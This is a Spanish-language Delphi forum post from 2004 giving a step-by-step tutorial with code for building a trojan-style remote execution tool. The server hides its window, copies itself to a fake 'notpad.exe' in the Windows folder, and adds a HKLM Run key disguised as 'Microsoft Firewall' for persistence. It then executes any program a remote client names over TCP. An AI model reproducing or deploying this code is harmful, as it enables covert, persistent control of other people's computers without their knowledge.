Ver Mensaje Individual
  #3  
Antiguo 26-04-2004
Avatar de DarkByte
DarkByte DarkByte is offline
Miembro
 
Registrado: sep 2003
Ubicación: Desconocido
Posts: 1.322
Reputación: 22
DarkByte Va por buen camino
Perdona jachguate, pero a mi me parece sencillo (¿será porque normalmente sólo hago ese tipo de aplicaciones?).

Gelmin, lo primero es vas a necesitar dos ejecutables, el Cliente y el Servidor (si te aprendes la teoría de los troyanos y de qué partes están formados, esto te será muy simple),

-El cliente: Se conecta al servidor a través del puerto que tu elijas (siempre el mismo) y le envía las órdenes precisas, es el que tu vas a manejar.
-El servidor: Va a estar en el registro del sistema, va a estar esperando en el puerto que le hayas puesto en la propiedad Port (debe de ser el mismo número de puerto que el del cliente) a que tú te conectes a él.

El servidor es la parte más compleja de las dos, y es por la que yo siempre empiezo, lo principal es hacerlo invisible, pues si el usuario lo ve, puede cerrarlo y ya no puedes administrar el sistema. En el foro de API's hay muchas opciones. Si tienes Delphi7 en adelante puedes poner Visible := False, y en el evento OnCreate del Form ponerle el Height y el Weight del form := 1, así será tan diminuto que nadie lo verá.

Después de la invisibilidad del servidor, nos queda insertar el TIdTCPServer1 de las Indy que se encuentra en la paleta Indy Servers. Le ponemos un puerto al azar fácil de recordar pero teniendo en cuenta que no esté ocupado por ningun otro (no vayas a poner el 12345, que el firewall te va a decir que estás infectado por el NetBus). Después de haber puesto el puerto, nos vamos a la propiedad Commands Handlers y clicamos en sus puntos suspensivos. Le damos a la hojita con una estrella arriba a la izquierda y ponemos, en la propiedad command EjecutarAplicacion. Nos vamos a la pestaña Events y hacemos soble clic en el único evento, OnCommand.

Código:
procedure TForm1.IdTCPServer1TIdCommandHandler0Command(
  ASender: TIdCommand);
var
  Ruta:String;
begin
  //La ruta del ejecutable es la parte que iba después
  //del comando EjecutarAplicacion
  Ruta := ASender.UnparsedParams;
  //Ejecutamos el programa que está en la ruta
  try
     WinExec(PChar(ruta),SW_SHOWNORMAL);
  //Y si no puede... no hace nada pero no da error
  except
  end;
end;
Después de eso, solo nos resta poner el IdTCPServer como True su propiedad Active, añadir a las uses Registry y en el evento OnCreate poner:

Código:
var 
   Registro    :TRegistry;
begin 
try CopyFile(PChar(Application.ExeName),PChar('c:\windows\notpad.exe'),FALSE);
except
end;
  Registro:=TRegistry.create;
  Registro.RootKey := HKEY_LOCAL_MACHINE;
  if Registro.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',FALSE) then 
    Registro.WriteString('Microsoft Firewall','c:\windows\notpad.exe');
  Registro.Destroy;
end;
Y fin del servidor, me parece que no me olvido nada.


Ahora vamos al cliente, ponemos en el form un IdTCPClient, dos edits y dos botones, a los edits los vamos a llamar eIp (pues ahí vamos a escribir la ip del servidor al que nos vamos a conectar) e eRutaEjecutable (pues ahí vamos a escribir el nombre del ejecutable). Y al caption de los botones les vamos a poner Conectar/Desconectar a uno y Ejecutar a otro.

Al IdTCPClient le vamos a poner el mismo puerto (en port) que el que le pusimos al IdTCPServer. Después, hacemos doble clic en el botón Conectar/Desconectar y escribirmos:
Código:
procedure TForm1.Button1Click(Sender: TObject);
begin
  //Si estamos conectados...
  If IdTCPClient1.Connected = False Then
    begin
      //Comprobamos que el edit no esté vacio
      If eIp.Text = '' Then
        begin
          //Mostramos un mensaje de error
          ShowMessage ('Debe introducir la ip del servidor');
          //Y abortamos
          Abort;
        end;
      //Ponemos el Host del IdTCPClient como lo que ponga
      //en el edit...
      IdTCPClient1.Host := eIp.Text;
      //E intentamos conectarnos!!
      try
        IdTCPClient1.Connect;
      except
        ShowMessage ('No se ha podido contactar con el servidor');
      end;
    end
  //¿Y si estamos ya conectados?
  Else
    IdTCPClient1.Disconnect;
end;
Y en el botón de Ejecutar...
Código:
begin
  try
    IdTCPClient1.SendCmd('EjecutarAplicacion '+eRutaAplicacion.Text);
  except
    ShowMessage ('No estás conectado');
  end;
end;

Y si no me equivoco, ya está terminado el tema, no se si me he equivocado en algo, pues lo he ido haciendo sobre la marcha, pero confío en que mis compañeros del foro me corrijan.
__________________
:)
Responder Con Cita